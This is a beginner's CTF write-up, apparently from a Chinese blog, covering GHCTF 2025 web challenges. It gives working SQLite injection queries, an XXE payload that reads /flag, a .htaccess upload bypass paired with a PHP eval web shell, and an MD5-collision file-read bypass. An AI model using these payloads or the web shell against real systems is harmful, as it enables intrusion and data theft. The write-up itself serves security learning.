GHCTF 2025 web 萌新初探wp

[GHCTF 2025]Goph3rrr [127.0.0.1绕过][env命令查找flag] 找了半天才知道,原来是%0d%0a写成了%0a%0d,呵呵。 阅读详情
AI摘要

本文是CTF萌新对GHCTF 2025 web题的解题记录。涉及SQL注入、XXE漏洞、SSTI漏洞等多种网络安全考点。介绍了各题的解题思路,如利用sqlite注入、构造XXE攻击payload、绕过过滤器等,还提及了部分题的官方wp及非预期解法。

ctf萌新第一次写wp,如有错误请师傅们指出

[GHCTF 2025]SQL???

打开靶机是一个用户查询的页面,结合题目名称猜测是sql注入,但是常规方法都试过了没办法注入,当时也是很懵逼,后来一个同学用sqlmap一扫说是提示sqlite注入,这才恍然大悟。

sqlite是除mysql外另一个数据库,语法与mysql相比稍微有点差异,但是注入过程大同小异,csdn一搜sqlite注入过程就做出来了,这个题甚至连过滤都没有。

查字段数
 ?id=1 union select 1,2,3,4,5

查表名和列名

 ?id=1 union select 1,2,(select sql from sqlite_master limit 0,1),4,5;

查询数据

 ?id=1 union select 1,2,(select group_concat(flag) from flag),4,5;
 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

得到flag

官方wp

查字段数
 id=1 order by 5
查看表
union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
查数据
 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

[GHCTF 2025](>﹏<)

打开是一段代码

 from flask import Flask,request
 import base64
 from lxml import etree
 import re
 app = Flask(__name__)
 ​
 @app.route('/')
 def index():
     return open(__file__).read()
 ​
 ​
 @app.route('/ghctf',methods=['POST'])
 def parse():
     xml=request.form.get('xml')
     print(xml)
     if xml is None:
         return "No System is Safe."
     parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
     root = etree.fromstring(xml, parser)
     name=root.find('name').text
     return name or None
 ​
 ​
 ​
 if __name__=="__main__":
     app.run(host='0.0.0.0',port=8080)

看到flask看到lxml,差不多能猜到是xxe漏洞,漏洞点是第18行这段代码和lxml库的使用。

我们看到可以在/ghctf目录下使用post方式传参xml,这里只需要对xml构造xxe攻击payload即可。

尝试在ghctf路由下post传入xml的值

 <!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>

发现无法传入,我们尝试抓包上传

直接上传的话会报500错误,我们需要把xml的值url编码一下再上传

拿到flag

官方wp

 <?xml version="1.0"?>
 <!DOCTYPE test[
 <!ENTITY nn SYSTEM "file:///flag">
 ]>
 <user>
 <name>&nn;</name>
 <age>18</age>
 </user>

[GHCTF 2025]UPUPUP

这个题我不会,直接看官方wp

官方wp

考点:getimagesize和exif_imagetype绕过

apache 的服务器, 很容易想到 .htaccess;但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆500, 会出现语法错误。.htaccess 通过 # 来注释, 后来了解到还有 \x00

.htacess
 #define width 1
 #define height 1
 <FilesMatch "hey.hey">
 SetHandler application/x-httpd-php
 </FilesMatch>

然后上传hey.hey,content-type是image/jpeg

 #define width 1
 #define height 1
 <?php eval($_REQUEST[1]);?>

蚁剑连接查看flag即可

[GHCTF 2025]ez_readfile

打开是一段代码

  <?php
   show_source(__FILE__);
   if (md5($_POST['a']) === md5($_POST['b'])) {
       if ($_POST['a'] != $_POST['b']) {
           if (is_string($_POST['a']) && is_string($_POST['b'])) {
               echo file_get_contents($_GET['file']);
           }
       }
   }
 ?> 

三个if判断是md5强碰撞,这个我们可以用fastcoll生成md5碰撞字符

fastcoll的用法

我们找到fastcoll文件路径,找到fastcoll.exe

我们在这个文件的文件夹下新建一个1.txt,名字任意,然后往里随便输入一些内容比如一个数字1

然后保存这个文件,关闭,把他拖进fastcoll,一段时间后会生成两个文件

直接打开的话这两个文件都是乱码状态,我们可以利用脚本输出url格式

 <?php
 class CDUTSEC{
     public $var1;
     public $var2;
 }
 ​
 $tr = new CDUTSEC();
 $tr->var1 = file_get_contents('E:\\1_msg1.txt');          
 $tr->var2 = file_get_contents('E:\\1_msg2.txt');
 ​
 echo urlencode($tr->var1);
 echo "\n\n";
 echo urlencode($tr->var2);

修改刚才生成的两个文件的路径,运行这段代码,就可以得到经过url编码的两个经过md5强碰撞的值

然后就可以向靶机传入a和b的值,三个if判断条件就都可以满足

这里注意不能直接从网页传参,要用bp抓包传参,因为url解码后存在%00不可见字符,直接传参会被吞,使用bp抓包传参就可以避免这种情况。

可以看到已经可以读取文件/etc/passwd,说明判断已经打通,下面就是如何读取flag的问题。

这里用到的知识点是CVE-2024-2961漏洞

[GHCTF 2025]UPUPUP【.htaccess绕过 XBM/WBMP】 题目:这种文件上传可以先尝试一下让他报错,发现是apache的服务器,就想到.htaccess上传了 .htaccess 和 .jpg 都没啥用,这时候应该想到后端采用了getimagesize和exif_imagetype限制在文件上传时,,所以我们图片马的开头要加上 GIF89a,但是如果我们在. htaccess 文件中也加入 GIF89a 的话会导致. htaccess 文件无法生效,所以我们要用别的方法。 阅读详情

相关推荐

GHCTF2025-WEB新手向详解-UPLOAD?SSTI! (内含SSTI模板注入关键字绕过方式)

GHCTF2025-WEB新手向详解-UPLOAD?SSTI!

yeyushengfano的博客 2909

焦距与视差的关系及其对深度估计的影响

焦距在立体视觉中的作用至关重要,它直接影响视差的大小,从而影响深度估计的精度。焦距越长,视差差异越大,物体的深度估计就越精确。这一关系使得焦距长的相机在一些需要高精度深度估计的应用场景中更加优越。了解焦距与视差的关系,对于优化相机配置和提升深度估计精度具有重要意义。在实践中,选择合适的焦距对于获得精确的深度信息至关重要,特别是在自动驾驶、虚拟现实、三维重建等领域,精确的深度估计能够提供更好的用户体验和技术支持。

计算机科学与技术专业学生的成长之路 1674

【Unity3D】关于unity中spriteAtlas的打包方案及使用时内存状态的多组对照实验

unity项目中使用精灵(Sprite)为了降低性能消耗,我们可以使用精灵图集(Sprite Atlas)技术,它能够将多个纹理合并成一个大纹理

云渊寒烬 5101

DDM-MIMO-FMCW雷达速度模糊与解模糊MATLAB仿真

本文深入解析了DDM-MIMO-FMCW雷达中的速度模糊现象及其解模糊方法,通过MATLAB仿真详细展示了相位编码解调、速度扩展算法和混合波形设计三大解决方案。文章还提供了参数配置、信号建模和结果可视化的实用技巧,并分享了工程实践中的避坑指南,帮助开发者高效解决雷达信号处理中的速度模糊问题。

weixin_31528001的博客 350

电路保护设计实战:保险丝选型、I²t计算与多级协同方案

电路保护是电子系统可靠性的基石,其核心原理是在发生过流或过压等异常情况时,及时切断故障回路,防止能量持续灌入导致元器件损坏甚至安全事故。从技术价值看,优秀的保护设计能显著提升产品寿命、安全性和市场口碑,尤其在快充、电动汽车等高功率密度应用中,保护器件已成为不可或缺的安全屏障。在众多保护器件中,保险丝作为最基础的过流保护元件,其正确选型与应用直接关系到保护效果。本文聚焦于保险丝选型的实战细节,深入解析了I²t(电流平方时间积)这一关键参数,它定义了熔断所需的能量阈值,是匹配被保护半导体器件耐受能力、实现有效保

weixin_42662171的博客 309

Prompt进阶2:LangGPT(构建高性能Prompt策略和技巧)--最佳实践指南

Prompt进阶2:LangGPT(构建高性能Prompt策略和技巧)--最佳实践指南

丨汀、的博客 2651

小龙虾们的好伙伴专栏导航

本文系统解析了OpenClaw技术架构,包括Channel层和网关层的设计实现,并与AgentSkills等技术方案进行对比。同时提供了OpenClaw的系列实用指南,涵盖小龙虾培养、客户资源管理、系统自动化巡检以及技术趋势助手构建等应用场景,帮助用户从零成本入门到高效落地应用,实现业务全流程自动化管理。

wend的博客 216

【33】软考软件设计师——算法题(二):贪心法与回溯法深度精讲|第4题进阶满分攻略

本文是《软件设计师·50讲通关|从零基础到工程师职称》专栏第33篇,承接第32篇分治法与动态规划,聚焦**下午第4题算法大题进阶核心**,详解贪心法与回溯法两大高频难点算法。全文超4000字深度拆解贪心法核心原理、贪心选择性质、局部最优推全局最优的底层逻辑,厘清贪心算法适用边界与经典误区;深挖回溯法深度优先遍历思想、递归回溯三步流程、可行性剪枝与最优性剪枝两大核心技巧;全覆盖活动选择、零钱兑换、01背包贪心禁区、八皇后、全排列等软考必考经典题型;配套标准化算法框架代码、考场填空模板、剪枝优化实操案例

专注于人工智能、软件开发、工控自动化、工厂数字化及智能化等领域,希望和大家共同进步! 441

5步VS传统WinForm!AntdUI让界面设计从“土味”到“超模”只需30秒?

摘要:墨瑾轩编程教程《AntdUI的5大魔法步骤》详解如何将传统WinForm升级为现代化UI。教程通过5个核心步骤:安装AntdUI库、控件替换、主题定制、复杂布局构建及实战案例演示,对比传统开发与AntdUI在美观度(动态阴影/动画)、开发效率(拖拽组件VS手工绘制)和主题定制(一键换肤VS重写控件)的显著差异。使用C#代码示例展示按钮动画、3D翻转、聊天界面等特效实现,帮助开发者快速掌握这一基于Ant Design风格的WinForm增强框架。(150字)

java专栏 1129

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

下一篇: [nodejs原型链污染及绕过]校赛第四次纳新赛 bypass WP
Acc1oFl4g
博客等级 码龄7年 112粉丝 24原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值